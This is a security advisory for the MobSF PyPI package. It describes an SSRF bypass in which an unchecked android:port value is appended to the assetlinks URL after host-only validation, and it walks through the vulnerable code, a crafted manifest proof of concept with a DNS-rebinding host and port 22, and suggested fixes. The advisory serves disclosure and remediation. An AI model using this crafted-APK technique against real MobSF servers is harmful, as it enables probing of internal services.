PyPI · mobsf
MobSF has SSRF port restriction bypass in assetlinks_check
MobSF's Android App Link assetlinks checker validates only the manifest android:host value with valid_host(), but then appends the separate android:port value into the URL used for the server-side request. This bypasses the current port restriction in valid_host() and lets a crafted APK cause MobSF to fetch http://host:<attacker-port>/.well-known/assetlinks.json or https://host:<attacker-port>/.well-known/assetlinks.json.
An authenticated user who can upload or trigger analysis of a crafted APK can cause the MobSF server to make an outbound request to an attacker-selected port during Android manifest analysis. When the host is controlled by the attacker and uses DNS rebinding, the validation lookup can resolve to a public IP while the later HTTP client lookup resolves to an internal address, allowing SSRF to internal services on non-80/443 ports.
This is not arbitrary URL SSRF. The path remains fixed to /.well-known/assetlinks.json, and redirects are disabled. The bypass is that the final fetched URL is assembled after the host-only validation, so the current port guard is not applied to the actual URL.
valid_host() rejects ports other than 80 and 443 when a port is included in the string being validated:
port = parsed.port
...
if port and port not in (80, 443):
return False
In get_browsable_activities(), only the host attribute is passed to valid_host():
host = data.getAttribute(f'{ns}:host')
port = data.getAttribute(f'{ns}:port')
...
if not valid_host(host):
logger.warning('Invalid Host: %s', host)
continue
shost = f'{scheme}://{host}'
if port and is_number(port):
c_url = f'{shost}:{port}{WELL_KNOWN_PATH}'
else:
c_url = f'{shost}{WELL_KNOWN_PATH}'
well_known[c_url] = shost
_check_url() then fetches the assembled URL after checking only path, query, and params:
purl = urlparse(url)
if (purl.path != WELL_KNOWN_PATH
or len(purl.query) > 0
or len(purl.params) > 0):
logger.warning('Invalid Assetlinks URL: %s', url)
continue
r = requests.get(url,
timeout=5,
allow_redirects=False,
proxies=proxies,
verify=verify)
Use an Android manifest with a browsable App Link data tag that has a benign-looking host and a restricted port:
<activity android:name=".DeepLink" android:exported="true">
<intent-filter>
<action android:name="android.intent.action.VIEW" />
<category android:name="android.intent.category.BROWSABLE" />
<category android:name="android.intent.category.DEFAULT" />
<data android:scheme="http" android:host="rebind.example" android:port="22" />
</intent-filter>
</activity>
A safe local proof with DNS and HTTP monkeypatching shows that MobSF validates only rebind.example, then fetches a URL that preserves the unchecked port:
well_known map: {'http://rebind.example:22/.well-known/assetlinks.json': 'http://rebind.example'}
requests.get calls: [('http://rebind.example:22/.well-known/assetlinks.json', {'timeout': 5, 'allow_redirects': False, 'proxies': None, 'verify': True})]
findings: [{'url': 'http://rebind.example:22/.well-known/assetlinks.json', 'host': 'http://rebind.example', 'status_code': 200, 'status': True}]
VULNERABLE: valid_host validated only rebind.example, but assetlinks_check fetched unchecked port 22 via http://rebind.example:22/.well-known/assetlinks.json
The same code pattern is present in latest release v4.4.6 and current main.
Validate the final URL after all manifest components have been applied. In particular:
c_url, then run validation on the full URL, including scheme, hostname, port, path, query, and params.android:port values other than 80 and 443 before appending them to the URL.allow_redirects=False for the existing redirect mitigation.Is your project exposed to this? Stateward checks every dependency on every pull request and flags it only if your code actually reaches it.
Check my repoSources: CISA KEV (public domain), OSV.dev & GitHub Advisory Database (CC-BY-4.0), FIRST EPSS, NVD/CWE (public domain). Served live from the Stateward advisory database.